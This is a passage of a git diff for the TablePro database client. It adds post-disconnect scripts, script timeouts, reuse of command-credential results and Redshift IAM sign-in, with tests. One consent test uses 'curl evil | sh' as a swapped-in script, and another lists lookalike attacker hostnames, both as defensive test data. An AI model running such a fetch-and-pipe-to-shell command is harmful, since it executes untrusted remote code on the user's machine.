that endpoint as the Redshift Endpoint when you connect through a port forward." : { + }, "TablePro cannot upload changes until there is space in iCloud. Changes from this Mac are kept here and upload once you free up space or add storage. To manage storage, open System Settings, click your name, then click iCloud." : { @@ -186023,6 +186065,9 @@ "The Realtime Database sorts only by the column it filters on." : { "extractionState" : "manual", "generatesSymbol" : false + }, + "The Redshift Endpoint applies only when Host is a local port forward or that same endpoint, and \"%@\" is neither." : { + }, "The redirect address is not a local callback, so pairing was refused." : { "localizations" : { @@ -196913,6 +196958,9 @@ } } } + }, + "Timeout" : { + }, "Timeouts" : { "localizations" : { @@ -210807,6 +210855,9 @@ "write a row of %@" : { "extractionState" : "manual", "generatesSymbol" : false + }, + "{host}, {port}, {user} and {database} become the opening connection's values, already quoted. The command also gets them as TABLEPRO_HOST, TABLEPRO_PORT, TABLEPRO_USER and TABLEPRO_DATABASE." : { + }, "Write and Run SQL" : { "localizations" : { diff --git a/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator.swift b/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator.swift index d6f06ed87a..dd9c2d1f27 100644 --- a/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator.swift +++ b/apple/TablePro/Views/ConnectionForm/ConnectionFormCoordinator.swift @@ -317,11 +317,21 @@ final class ConnectionFormCoordinator: ObservableObject { resolvedPort = primary.port } - let trimmedScript = advanced.preConnectScript.trimmingCharacters(in: .whitespacesAndNewlines) - if trimmedScript.isEmpty { - fields.removeValue(forKey: "preConnectScript") + for (key, script) in [ + ("preConnectScript", advanced.preConnectScript), + (DatabaseConnection.postDisconnectScriptKey, advanced.postDisconnectScript) + ] { + if script.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty { + fields.removeValue(forKey: key) + } else { + fields[key] = script + } + } + if let timeout = advanced.scriptTimeoutSeconds, + ConnectionScriptRunner.timeoutSecondsRange.contains(timeout) { + fields[DatabaseConnection.scriptTimeoutSecondsKey] = String(timeout) } else { - fields["preConnectScript"] = advanced.preConnectScript + fields.removeValue(forKey: DatabaseConnection.scriptTimeoutSecondsKey) } return ConnectionFormEdits( diff --git a/apple/TablePro/Views/ConnectionForm/Panes/OptionsPaneView.swift b/apple/TablePro/Views/ConnectionForm/Panes/OptionsPaneView.swift index c8e4058493..a139a64c25 100644 --- a/apple/TablePro/Views/ConnectionForm/Panes/OptionsPaneView.swift +++ b/apple/TablePro/Views/ConnectionForm/Panes/OptionsPaneView.swift @@ -26,6 +26,7 @@ struct OptionsPaneView: View { timeoutSection startupSection preConnectSection + postDisconnectSection safetySection if aiIsEnabled { aiRulesSection @@ -197,15 +198,55 @@ struct OptionsPaneView: View { Section { StartupCommandsEditor(text: $coordinator.advanced.preConnectScript, style: .code) .frame(height: 80) + .accessibilityIdentifier("connection-form-pre-connect-script") + LabeledContent(String(localized: "Timeout")) { + HStack(spacing: 4) { + TextField( + String(localized: "Timeout"), + value: $coordinator.advanced.scriptTimeoutSeconds, + format: .number.grouping(.never), + prompt: Text(verbatim: scriptTimeoutPlaceholder) + ) + .labelsHidden() + .frame(width: 100) + .multilineTextAlignment(.trailing) + .accessibilityIdentifier("connection-form-script-timeout") + Text(String(localized: "seconds")) + .foregroundStyle(.secondary) + } + } + .help(String(localized: "How long each script may run, from 1 to 300 seconds.")) } header: { Text(String(localized: "Pre-Connect Script")) } footer: { - Text("Shell script to run before connecting. Non-zero exit aborts connection.") + Text(String(localized: """ + Runs in bash before connecting. A non-zero exit aborts the connection. \ + TABLEPRO_CONNECTION_NAME, TABLEPRO_HOST, TABLEPRO_PORT, TABLEPRO_USER and \ + TABLEPRO_DATABASE describe the connection. + """)) .font(.caption) .foregroundStyle(.secondary) } } + private var postDisconnectSection: some View { + Section { + StartupCommandsEditor(text: $coordinator.advanced.postDisconnectScript, style: .code) + .frame(height: 80) + .accessibilityIdentifier("connection-form-post-disconnect-script") + } header: { + Text(String(localized: "Post-Disconnect Script")) + } footer: { + Text("Runs in bash once the session ends, only after its pre-connect script ran. A failure is logged, not shown.") + .font(.caption) + .foregroundStyle(.secondary) + } + } + + private var scriptTimeoutPlaceholder: String { + String(format: String(localized: "Default (%d)"), ConnectionScriptRunner.defaultTimeoutSeconds) + } + // MARK: - Safety private var safetySection: some View { diff --git a/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift b/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift index b06e03f345..51a9efd969 100644 --- a/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift +++ b/apple/TablePro/Views/ConnectionForm/Support/ConnectionFormEdits.swift @@ -40,6 +40,8 @@ struct ConnectionFormEdits: Equatable { static let appManagedAdditionalFieldIDs: Set = [ "preConnectScript", + DatabaseConnection.postDisconnectScriptKey, + DatabaseConnection.scriptTimeoutSecondsKey, "promptForPassword", DatabaseConnection.connectTimeoutSecondsKey, DatabaseConnection.queryTimeoutSecondsKey, diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/AdvancedPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/AdvancedPaneViewModel.swift index 5c271a0d64..fa3f190390 100644 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/AdvancedPaneViewModel.swift +++ b/apple/TablePro/Views/ConnectionForm/ViewModels/AdvancedPaneViewModel.swift @@ -13,6 +13,8 @@ final class AdvancedPaneViewModel: ObservableObject { @Published var additionalFieldValues: [String: String] = [:] @Published var startupCommands: String = "" @Published var preConnectScript: String = "" + @Published var postDisconnectScript: String = "" + @Published var scriptTimeoutSeconds: Int? @Published var externalAccess: ExternalAccessLevel = .readOnly @Published var localOnly: Bool = false @Published var aiPolicy: AIConnectionPolicy? @@ -50,6 +52,9 @@ final class AdvancedPaneViewModel: ObservableObject { if let extensionIssue { issues.append(extensionIssue) } + if let scriptTimeoutSeconds, !ConnectionScriptRunner.timeoutSecondsRange.contains(scriptTimeoutSeconds) { + issues.append(String(localized: "Script timeout must be between 1 and 300 seconds.")) + } return issues } @@ -112,6 +117,8 @@ final class AdvancedPaneViewModel: ObservableObject { .flatMap { (try? LoadableExtensionList.decode(connection.additionalFields[$0.id])) ?? [] } startupCommands = connection.startupCommands ?? "" preConnectScript = connection.preConnectScript ?? "" + postDisconnectScript = connection.postDisconnectScript ?? "" + scriptTimeoutSeconds = connection.scriptTimeoutSeconds aiPolicy = connection.aiPolicy externalAccess = connection.externalAccess localOnly = connection.localOnly diff --git a/apple/TablePro/Views/Settings/Profiles/CredentialProfileEditorSheet.swift b/apple/TablePro/Views/Settings/Profiles/CredentialProfileEditorSheet.swift index 1b9738b686..93652e0386 100644 --- a/apple/TablePro/Views/Settings/Profiles/CredentialProfileEditorSheet.swift +++ b/apple/TablePro/Views/Settings/Profiles/CredentialProfileEditorSheet.swift @@ -27,6 +27,7 @@ struct CredentialProfileEditorSheet: View { @State private var sourceKind: PasswordSourceKind = .file @State private var sourceValue: String = "" @State private var sourceField: String = "" + @State private var commandReuseSeconds: Int? @State private var secureFieldType: DatabaseType = .mysql @State private var secureFieldValues: [String: String] = [:] @@ -149,7 +150,23 @@ struct CredentialProfileEditorSheet: View { if sourceKind == .awsSecretsManager { TextField(String(localized: "JSON Key"), text: $sourceField, prompt: Text("password")) } - Text("Resolved on every connect. It stays on this Mac and never syncs, because it can name a command to run.") + if sourceKind == .command { + Picker(String(localized: "Reuse Result For"), selection: $commandReuseSeconds) { + Text("Never").tag(Int?.none) + ForEach(Self.reuseChoices(including: commandReuseSeconds), id: \.self) { seconds in + Text(Self.reuseLabel(seconds)).tag(Int?.some(seconds)) + } + } + .accessibilityIdentifier("credential-profile-command-reuse") + Text(String(localized: """ + {host}, {port}, {user} and {database} become the opening connection's values, \ + already quoted. The command also gets them as TABLEPRO_HOST, TABLEPRO_PORT, \ + TABLEPRO_USER and TABLEPRO_DATABASE. + """)) + .font(.caption) + .foregroundStyle(.secondary) + } + Text("It stays on this Mac and never syncs, because it can name a command to run.") .font(.caption) .foregroundStyle(.secondary) } @@ -279,6 +296,9 @@ struct CredentialProfileEditorSheet: View { case .source(let source): passwordKind = .source (sourceKind, sourceValue, sourceField) = Self.decompose(source) + if case .command(_, let reuseSeconds) = source { + commandReuseSeconds = reuseSeconds + } } } @@ -336,10 +356,21 @@ struct CredentialProfileEditorSheet: View { case .stored: .stored case .prompt: .prompt case .pgpass: .pgpass - case .source: .source(sourceKind.source(value: sourceValue, field: sourceField)) + case .source: .source(sourceKind.source(value: sourceValue, field: sourceField, reuseSeconds: commandReuseSeconds)) } } + private static let reusePresets = [300, 900, 3_600, 28_800] + + private static func reuseChoices(including current: Int?) -> [Int] { + guard let current, !reusePresets.contains(current) else { return reusePresets } + return (reusePresets + [current]).sorted() + } + + private static func reuseLabel(_ seconds: Int) -> String { + Duration.seconds(seconds).formatted(.units(allowed: [.hours, .minutes, .seconds], width: .wide)) + } + private func deleteProfile() { guard let profile = existingProfile else { return } guard storage.deleteProfile(profile) else { @@ -354,7 +385,7 @@ struct CredentialProfileEditorSheet: View { switch source { case .file(let path): (.file, path, "") case .env(let variable): (.env, variable, "") - case .command(let shell): (.command, shell, "") + case .command(let shell, _): (.command, shell, "") case .onePassword(let reference): (.onePassword, reference, "") case .vault(let path, let field): (.vault, path, field) case .awsSecretsManager(let secretId, let jsonKey): (.awsSecretsManager, secretId, jsonKey ?? "") @@ -418,13 +449,13 @@ extension CredentialProfileEditorSheet { } } - func source(value: String, field: String) -> PasswordSource { + func source(value: String, field: String, reuseSeconds: Int?) -> PasswordSource { let trimmedValue = value.trimmingCharacters(in: .whitespaces) let trimmedField = field.trimmingCharacters(in: .whitespaces) switch self { case .file: return .file(path: trimmedValue) case .env: return .env(variable: trimmedValue) - case .command: return .command(shell: value) + case .command: return .command(shell: value, reuseSeconds: reuseSeconds) case .onePassword: return .onePassword(reference: trimmedValue) case .vault: return .vault(path: trimmedValue, field: trimmedField) case .awsSecretsManager: diff --git a/apple/TableProTests/AWS/AWSIAMAuthTests.swift b/apple/TableProTests/AWS/AWSIAMAuthTests.swift index c99bff6b9a..b7a8ddac76 100644 --- a/apple/TableProTests/AWS/AWSIAMAuthTests.swift +++ b/apple/TableProTests/AWS/AWSIAMAuthTests.swift @@ -146,9 +146,17 @@ struct RegistryAWSIAMFieldsTests { #expect(field?.isSecure == true) } - @Test("Redshift and CockroachDB do not offer AWS IAM auth") + @Test("Redshift offers AWS IAM auth with its own endpoint field, not the RDS one") + func redshiftHasIAM() { + let ids = fieldIds(forTypeId: "Redshift") + #expect(ids.contains("awsAuth")) + #expect(ids.contains("awsProfileName")) + #expect(ids.contains(RedshiftIAMSignIn.endpointFieldId)) + #expect(!ids.contains("awsRDSEndpoint")) + } + + @Test("CockroachDB, TiDB and Databend do not offer AWS IAM auth") func excludedTypesHaveNoIAM() { - #expect(!fieldIds(forTypeId: "Redshift").contains("awsAuth")) #expect(!fieldIds(forTypeId: "CockroachDB").contains("awsAuth")) #expect(!fieldIds(forTypeId: "TiDB").contains("awsAuth")) #expect(!fieldIds(forTypeId: "Databend").contains("awsAuth")) diff --git a/apple/TableProTests/AWS/RedshiftIAMSignInTests.swift b/apple/TableProTests/AWS/RedshiftIAMSignInTests.swift new file mode 100644 index 0000000000..801e1434f5 --- /dev/null +++ b/apple/TableProTests/AWS/RedshiftIAMSignInTests.swift @@ -0,0 +1,217 @@ +// +// RedshiftIAMSignInTests.swift +// TableProTests +// + +import Foundation +@testable import TablePro +import TableProPluginKit +import Testing + +@MainActor +struct RedshiftIAMSignInTests { + private static let clusterHost = "analytics.abc123xyz.us-east-1.redshift.amazonaws.com" + private static let serverlessHost = "reporting.123456789012.eu-west-1.redshift-serverless.amazonaws.com" + private static let credentials = AWSCredentials( + accessKeyId: "AKIDEXAMPLE", + secretAccessKey: "wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLEKEY", + sessionToken: nil, + expiration: nil + ) + private static let signedAt = Date(timeIntervalSince1970: 1_792_544_523) + + private static func signIn( + user: String = "", + host: String = clusterHost, + preTunnelHost: String? = nil, + fields: [String: String] = ["awsAuth": "profile"] + ) -> RedshiftIAMSignIn { + RedshiftIAMSignIn( + source: "profile", + databaseUser: user, + database: "dev", + fields: fields, + configuredHost: host, + preTunnelHost: preTunnelHost + ) + } + + private static func formParameters(_ request: URLRequest) -> [String: String] { + let body = String(data: request.httpBody ?? Data(), encoding: .utf8) ?? "" + var parameters: [String: String] = [:] + for pair in body.split(separator: "&") { + let parts = pair.split(separator: "=", maxSplits: 1).map { String($0).removingPercentEncoding ?? "" } + parameters[parts[0]] = parts.count > 1 ? parts[1] : "" + } + return parameters + } + + @Test("Cluster and workgroup endpoints name what to ask for and where") + func endpointsParse() { + #expect(RedshiftIAMSignIn.endpoint(forHost: Self.clusterHost) == .cluster(identifier: "analytics", region: "us-east-1")) + #expect(RedshiftIAMSignIn.endpoint(forHost: Self.serverlessHost) == .serverless(workgroup: "reporting", region: "eu-west-1")) + #expect( + RedshiftIAMSignIn.endpoint(forHost: "bi.abc.cn-north-1.redshift.amazonaws.com.cn") + == .cluster(identifier: "bi", region: "cn-north-1") + ) + #expect(RedshiftIAMSignIn.endpoint(forHost: "127.0.0.1") == nil) + #expect(RedshiftIAMSignIn.endpoint(forHost: "redshift.example.com") == nil) + } + + @Test("A lookalike host never gets credentials minted for a real cluster", arguments: [ + "analytics.attacker.us-east-1.redshift.amazonaws.com.evil.example", + "analytics.attacker.us-east-1.redshift.amazonaws-evil.com", + "analytics.abc.us-east-1.redshift.amazonaws.com.cn", + "a.analytics.abc.us-east-1.redshift.amazonaws.com", + "analytics..us-east-1.redshift.amazonaws.com" + ]) + func lookalikesAreRefused(host: String) { + #expect(RedshiftIAMSignIn.endpoint(forHost: host) == nil) + } + + @Test("A tunneled connection signs in for the endpoint typed before the tunnel") + func tunneledConnectionUsesPreTunnelHost() throws { + let tunneled = Self.signIn(host: "127.0.0.1", preTunnelHost: Self.clusterHost) + #expect(try tunneled.resolveEndpoint() == .cluster(identifier: "analytics", region: "us-east-1")) + } + + @Test("The Redshift Endpoint field names a forward's target, and a host that names nothing says what to enter") + func endpointOverride() throws { + let forwarded = Self.signIn( + host: "127.0.0.1", + fields: ["awsAuth": "sso", RedshiftIAMSignIn.endpointFieldId: "https://\(Self.serverlessHost):5439/dev"] + ) + #expect(try forwarded.resolveEndpoint() == .serverless(workgroup: "reporting", region: "eu-west-1")) + + let elsewhere = Self.signIn( + host: "warehouse.corp.example", + fields: [RedshiftIAMSignIn.endpointFieldId: Self.serverlessHost] + ) + #expect(throws: RedshiftIAMError.endpointNotDialed(host: "warehouse.corp.example")) { + try elsewhere.resolveEndpoint() + } + + #expect(throws: RedshiftIAMError.endpointUnresolved(host: "warehouse.corp.example")) { + try Self.signIn(host: "warehouse.corp.example").resolveEndpoint() + } + #expect(throws: RedshiftIAMError.endpointInvalid("not-an-endpoint")) { + try Self.signIn(host: "localhost", fields: [RedshiftIAMSignIn.endpointFieldId: "not-an-endpoint"]).resolveEndpoint() + } + } + + @Test("A cluster with a database user asks GetClusterCredentials, without one GetClusterCredentialsWithIAM") + func clusterRequests() throws { + let endpoint = RedshiftIAMSignIn.Endpoint.cluster(identifier: "analytics", region: "us-east-1") + + let withUser = try Self.signIn(user: "reporting").request(for: endpoint, region: "us-east-1", credentials: Self.credentials) + #expect(withUser.url?.host == "redshift.us-east-1.amazonaws.com") + #expect(Self.formParameters(withUser) == [ + "Action": "GetClusterCredentials", + "Version": "2012-12-01", + "ClusterIdentifier": "analytics", + "DbUser": "reporting", + "DbName": "dev" + ]) + + let asIdentity = try Self.signIn().request(for: endpoint, region: "us-east-1", credentials: Self.credentials) + #expect(Self.formParameters(asIdentity) == [ + "Action": "GetClusterCredentialsWithIAM", + "Version": "2012-12-01", + "ClusterIdentifier": "analytics", + "DbName": "dev" + ]) + #expect(asIdentity.value(forHTTPHeaderField: "Authorization")?.contains("/us-east-1/redshift/aws4_request") == true) + } + + @Test("A Serverless workgroup asks GetCredentials over a signed JSON request") + func serverlessRequest() throws { + let endpoint = RedshiftIAMSignIn.Endpoint.serverless(workgroup: "analytics", region: "us-east-1") + let request = try Self.signIn(user: "ignored").request( + for: endpoint, + region: "us-east-1", + credentials: Self.credentials, + now: Self.signedAt + ) + + #expect(request.url?.absoluteString == "https://redshift-serverless.us-east-1.amazonaws.com/") + #expect(request.value(forHTTPHeaderField: "x-amz-target") == "RedshiftServerless.GetCredentials") + #expect(request.value(forHTTPHeaderField: "content-type") == "application/x-amz-json-1.1") + #expect(String(data: request.httpBody ?? Data(), encoding: .utf8) == #"{"dbName":"dev","workgroupName":"analytics"}"#) + // Signature computed independently with Python's hmac and hashlib. + #expect(request.value(forHTTPHeaderField: "Authorization") == """ + AWS4-HMAC-SHA256 Credential=AKIDEXAMPLE/20261021/us-east-1/redshift-serverless/aws4_request, \ + SignedHeaders=content-type;host;x-amz-date;x-amz-target, \ + Signature=36b797213e939c77bfc2b589b4a39e541e9a99f312f3425aba20a15b9c2567ea + """) + } + + @Test("The user and password come from the AWS answer") + func responsesParse() throws { + let clusterXML = """ + + + IAMR:analyst + 2026-10-21T01:17:03.001Z + AMAFUyyuros/QjxPTtgzcsuQsqzIasdzJEN04aCtWDzXx1O9d6Ump== + + + """ + #expect( + try RedshiftIAMSignIn.signIn(from: Data(clusterXML.utf8), for: .cluster(identifier: "a", region: "r")) + == ResolvedSignIn(username: "IAMR:analyst", password: "AMAFUyyuros/QjxPTtgzcsuQsqzIasdzJEN04aCtWDzXx1O9d6Ump==") + ) + + let serverlessJSON = #"{"dbPassword":"secret","dbUser":"IAM:alice","expiration":1792545423.0}"# + #expect( + try RedshiftIAMSignIn.signIn(from: Data(serverlessJSON.utf8), for: .serverless(workgroup: "w", region: "r")) + == ResolvedSignIn(username: "IAM:alice", password: "secret") + ) + + #expect(throws: RedshiftIAMError.unreadableResponse) { + try RedshiftIAMSignIn.signIn(from: Data("{}".utf8), for: .serverless(workgroup: "w", region: "r")) + } + } + + @Test("An AWS refusal names its code and message") + func errorsParse() { + let queryError = """ + ClusterNotFoundCluster analytics not found. + """ + #expect( + RedshiftIAMSignIn.errorMessage(in: Data(queryError.utf8), for: .cluster(identifier: "a", region: "r")) + == "ClusterNotFound: Cluster analytics not found." + ) + let jsonError = #"{"__type":"com.amazonaws.redshiftserverless#ResourceNotFoundException","message":"Workgroup not found"}"# + #expect( + RedshiftIAMSignIn.errorMessage(in: Data(jsonError.utf8), for: .serverless(workgroup: "w", region: "r")) + == "ResourceNotFoundException: Workgroup not found" + ) + } + + @Test("A Redshift connection on AWS IAM signs in through Redshift, and a password one does not") + func minterRouting() { + var redshift = DatabaseConnection( + name: "warehouse", + host: Self.clusterHost, + port: 5_439, + database: "dev", + username: "reporting", + type: .redshift, + additionalFields: ["awsAuth": "sso", "awsProfileName": "analytics"] + ) + guard case .redshift(let signIn) = ConnectionCredentialResolver.iamPasswordMinter( + for: redshift, + fields: redshift.additionalFields + ) else { + Issue.record("Expected the Redshift sign-in") + return + } + #expect(signIn.source == "sso") + #expect(signIn.databaseUser == "reporting") + #expect(signIn.database == "dev") + #expect(redshift.transportSSLConfiguration.mode == .required) + + redshift.additionalFields["awsAuth"] = "off" + #expect(ConnectionCredentialResolver.iamPasswordMinter(for: redshift, fields: redshift.additionalFields) == nil) + } +} diff --git a/apple/TableProTests/Core/Database/PostDisconnectScriptsTests.swift b/apple/TableProTests/Core/Database/PostDisconnectScriptsTests.swift new file mode 100644 index 0000000000..28199b267b --- /dev/null +++ b/apple/TableProTests/Core/Database/PostDisconnectScriptsTests.swift @@ -0,0 +1,85 @@ +// +// PostDisconnectScriptsTests.swift +// TableProTests +// + +import Foundation +@testable import TablePro +import TableProTestSupport +import Testing + +@MainActor +struct PostDisconnectScriptsTests { + private static func pending(_ script: String) -> PendingPostDisconnectScript { + PendingPostDisconnectScript( + script: script, + context: ConnectionScriptContext( + connectionId: UUID(), connectionName: "c", host: "h", port: 1, user: "u", database: "d" + ), + timeoutSeconds: 10 + ) + } + + @Test("A script fires once, and only when armed") + func firesOnce() async { + let events = EventLog() + let scripts = PostDisconnectScripts(run: { await events.append($0.script) }) + let id = UUID() + + scripts.fire(for: id) + scripts.arm(Self.pending("down"), for: id) + scripts.fire(for: id) + scripts.fire(for: id) + await scripts.finish(for: id) + + #expect(await events.entries == ["down"]) + #expect(!scripts.isArmed(for: id)) + } + + @Test("The next connect waits for the last session's cleanup to finish") + func finishWaitsForASlowCleanup() async { + let events = EventLog() + let gate = AsyncGate() + let scripts = PostDisconnectScripts(run: { pending in + await gate.wait() + await events.append(pending.script) + }) + let id = UUID() + scripts.arm(Self.pending("cleanup"), for: id) + scripts.fire(for: id) + await gate.arrived(1) + + let reconnect = Task { + await scripts.finish(for: id) + await events.append("setup") + } + await gate.open() + await reconnect.value + + #expect(await events.entries == ["cleanup", "setup"]) + } + + @Test("A pre-connect script that succeeds while quitting still gets its cleanup run") + func setupDuringQuitIsDrained() async throws { + let events = EventLog() + let scripts = PostDisconnectScripts(run: { await events.append($0.script) }) + let id = UUID() + scripts.setupStarted() + + let quit = Task { await scripts.fireAllAndWait() } + try await waitUntil { scripts.isDraining } + scripts.arm(Self.pending("late"), for: id) + scripts.setupEnded() + await quit.value + + #expect(await events.entries == ["late"]) + } +} + +private actor EventLog { + private(set) var entries: [String] = [] + + func append(_ entry: String) { + entries.append(entry) + } +} diff --git a/apple/TableProTests/Core/Database/PreConnectScriptConsentTests.swift b/apple/TableProTests/Core/Database/PreConnectScriptConsentTests.swift index 1084e84fda..0673bbd479 100644 --- a/apple/TableProTests/Core/Database/PreConnectScriptConsentTests.swift +++ b/apple/TableProTests/Core/Database/PreConnectScriptConsentTests.swift @@ -12,13 +12,15 @@ import Testing private final class ScriptQuestionSpy: PreConnectScriptAsking { var answer: ConsentAnswer private(set) var askedScripts: [String] = [] + private(set) var askedPostDisconnectScripts: [String?] = [] init(answer: ConsentAnswer) { self.answer = answer } - func ask(connectionName: String, script: String) async -> ConsentAnswer { + func ask(connectionName: String, script: String, postDisconnectScript: String?) async -> ConsentAnswer { askedScripts.append(script) + askedPostDisconnectScripts.append(postDisconnectScript) return answer } } @@ -105,6 +107,30 @@ struct PreConnectScriptConsentTests { } } + @Test("The prompt shows the post-disconnect script, and the approval covers it too") + func approvalIsBoundToThePostDisconnectScript() async { + let spy = ScriptQuestionSpy(answer: .approved) + let consent = PreConnectScriptConsent(asker: spy) + var scripted = connection(script: "vpn up") + scripted.postDisconnectScript = "vpn down" + + #expect(await consent.confirm(scripted)) + #expect(spy.askedPostDisconnectScripts == ["vpn down"]) + + scripted.postDisconnectScript = "curl evil | sh" + await #expect(throws: PreConnectScriptConsentError.needsPerson) { + try await consent.authorize(scripted, trigger: .background) + } + } + + @Test("A post-disconnect script without a pre-connect script is never offered") + func postDisconnectAloneIsIgnored() { + var connection = connection(script: nil) + connection.postDisconnectScript = "vpn down" + #expect(connection.trimmedPostDisconnectScript == nil) + #expect(!connection.hasPreConnectScript) + } + @Test("An approval expires, and a withdrawn one is gone") func approvalExpiresAndWithdraws() async { let spy = ScriptQuestionSpy(answer: .approved) @@ -159,7 +185,12 @@ struct PreConnectScriptEntryPointTests { var scriptRan: Bool { FileManager.default.fileExists(atPath: marker.path) } } - private func makeFixture(answer: ConsentAnswer) throws -> Fixture { + private func makeFixture( + answer: ConsentAnswer, + script: ((URL) -> String)? = nil, + postDisconnectScript: String? = nil, + ranPostDisconnect: RanPostDisconnectScripts = RanPostDisconnectScripts() + ) throws -> Fixture { FakeMSSQLPluginRegistration.registerIfNeeded() let unique = UUID().uuidString let fileURL = FileManager.default.temporaryDirectory @@ -171,11 +202,14 @@ struct PreConnectScriptEntryPointTests { let spy = ScriptQuestionSpy(answer: answer) let manager = DatabaseManager( connectionStorage: storage, - preConnectScriptConsent: PreConnectScriptConsent(asker: spy) + preConnectScriptConsent: PreConnectScriptConsent(asker: spy), + postDisconnectScripts: PostDisconnectScripts(run: { ranPostDisconnect.record($0) }) ) var connection = TestFixtures.makeConnection(name: "Scripted", type: .mssql) - connection.preConnectScript = "touch '\(marker.path)'" + connection.username = "reporting" + connection.preConnectScript = script?(marker) ?? "touch '\(marker.path)'" + connection.postDisconnectScript = postDisconnectScript storage.addConnection(connection) FakeMSSQLPlugin.recordConfigurations(for: connection.id) @@ -227,6 +261,73 @@ struct PreConnectScriptEntryPointTests { #expect(fixture.manager.driver(for: fixture.connection.id) != nil) } + @Test("The pre-connect script sees the connection it opens") + func scriptSeesTheConnection() async throws { + let fixture = try makeFixture(answer: .approved) { marker in + """ + printf '%s|%s|%s|%s|%s' "$TABLEPRO_CONNECTION_NAME" "$TABLEPRO_HOST" "$TABLEPRO_PORT" \ + "$TABLEPRO_USER" "$TABLEPRO_DATABASE" > '\(marker.path)' + """ + } + defer { fixture.cleanUp() } + + try await fixture.manager.ensureConnected(fixture.connection) + await fixture.manager.stopHealthMonitor(for: fixture.connection.id) + + let seen = try String(contentsOf: fixture.marker, encoding: .utf8) + let connection = fixture.connection + #expect(seen == "Scripted|\(connection.host)|\(connection.port)|reporting|testdb") + } + + @Test("A post-disconnect script runs once, after the session it was approved with ends") + func postDisconnectRunsOnce() async throws { + let ran = RanPostDisconnectScripts() + let fixture = try makeFixture(answer: .approved, postDisconnectScript: "vpn down", ranPostDisconnect: ran) + defer { fixture.cleanUp() } + + try await fixture.manager.ensureConnected(fixture.connection) + await fixture.manager.stopHealthMonitor(for: fixture.connection.id) + #expect(fixture.spy.askedPostDisconnectScripts == ["vpn down"]) + #expect(ran.scripts.isEmpty) + + await fixture.manager.disconnectSession(fixture.connection.id, origin: .userRequested) + await fixture.manager.disconnectSession(fixture.connection.id, origin: .userRequested) + try await waitUntil { ran.scripts.count == 1 } + + let pending = try #require(ran.scripts.first) + #expect(pending.script == "vpn down") + #expect(pending.context.connectionName == "Scripted") + #expect(pending.timeoutSeconds == ConnectionScriptRunner.defaultTimeoutSeconds) + #expect(!fixture.manager.postDisconnectScripts.isArmed(for: fixture.connection.id)) + } + + @Test("Quitting runs the post-disconnect script of every session still open") + func quitRunsArmedScripts() async throws { + let ran = RanPostDisconnectScripts() + let fixture = try makeFixture(answer: .approved, postDisconnectScript: "vpn down", ranPostDisconnect: ran) + defer { fixture.cleanUp() } + + try await fixture.manager.ensureConnected(fixture.connection) + await fixture.manager.stopHealthMonitor(for: fixture.connection.id) + await fixture.manager.runPostDisconnectScriptsBeforeQuit() + + #expect(ran.scripts.map(\.script) == ["vpn down"]) + #expect(fixture.manager.session(for: fixture.connection.id) != nil) + } + + @Test("A declined pre-connect script arms no post-disconnect script") + func declinedArmsNothing() async throws { + let ran = RanPostDisconnectScripts() + let fixture = try makeFixture(answer: .declined, postDisconnectScript: "vpn down", ranPostDisconnect: ran) + defer { fixture.cleanUp() } + + await #expect(throws: PreConnectScriptConsentError.declined) { + try await fixture.manager.ensureConnected(fixture.connection) + } + await fixture.manager.postDisconnectScripts.fireAllAndWait() + #expect(ran.scripts.isEmpty) + } + @Test("A gesture that asked first is not asked again at the connect") func gestureApprovalIsNotAskedTwice() async throws { let fixture = try makeFixture(answer: .approved) @@ -402,3 +503,16 @@ struct PreConnectScriptEntryPointTests { ) } } + +private final class RanPostDisconnectScripts: @unchecked Sendable { + private let lock = NSLock() + private var recorded: [PendingPostDisconnectScript] = [] + + var scripts: [PendingPostDisconnectScript] { + lock.withLock { recorded } + } + + func record(_ script: PendingPostDisconnectScript) { + lock.withLock { recorded.append(script) } + } +} diff --git a/apple/TableProTests/Core/Services/Infrastructure/ConnectionScriptRunnerTests.swift b/apple/TableProTests/Core/Services/Infrastructure/ConnectionScriptRunnerTests.swift new file mode 100644 index 0000000000..516eb9b98c --- /dev/null +++ b/apple/TableProTests/Core/Services/Infrastructure/ConnectionScriptRunnerTests.swift @@ -0,0 +1,107 @@ +// +// ConnectionScriptRunnerTests.swift +// TableProTests +// + +import Foundation +import TableProTestSupport +import Testing + +@testable import TablePro + +struct ConnectionScriptRunnerTests { + private static let message = "vault login failed: token expired" + + private static func failureMessage() async -> String? { + let outcome = try? await ConnectionScriptRunner.run( + "printf '%s' '\(Self.message)' >&2; exit 3", + environment: [:], + timeoutSeconds: 30 + ) + guard case let .failed(exitCode, stderr) = outcome, exitCode == 3 else { return nil } + return stderr + } + + @Test("A failing script's message reaches the outcome every time", .timeLimit(.minutes(1))) + func failureCarriesTheScriptsMessage() async { + for _ in 0 ..< 4 { + let messages = await withTaskGroup(of: String?.self) { group in + for _ in 0 ..< 16 { + group.addTask { await Self.failureMessage() } + } + var collected: [String?] = [] + for await message in group { + collected.append(message) + } + return collected + } + #expect(messages.allSatisfy { $0 == Self.message }) + } + } + + @Test("The script sees the connection's variables and the tool paths a Dock launch lacks") + func scriptSeesEnvironment() async throws { + let outcome = try await ConnectionScriptRunner.run( + #"[ "$TABLEPRO_HOST" = "db.example.com" ] && case ":$PATH:" in *:/opt/homebrew/bin:*) exit 0;; esac; exit 1"#, + environment: ["TABLEPRO_HOST": "db.example.com"], + timeoutSeconds: 30 + ) + #expect(outcome == .succeeded) + } + + @Test("A script still running at its timeout is stopped and reported as timed out", .timeLimit(.minutes(1))) + func slowScriptTimesOut() async throws { + let clock = ManualClock() + let run = Task { + try await ConnectionScriptRunner.run("sleep 30", environment: [:], timeoutSeconds: 30, clock: clock) + } + await clock.waitUntilSleeping() + clock.advance(by: .seconds(30)) + #expect(try await run.value == .timedOut) + } + + @Test("A script slower than the old 10 second limit finishes inside a longer timeout", .timeLimit(.minutes(1))) + func longerTimeoutLetsTheScriptFinish() async throws { + let clock = ManualClock() + let marker = FileManager.default.temporaryDirectory.appendingPathComponent("tablepro-script-\(UUID().uuidString)") + 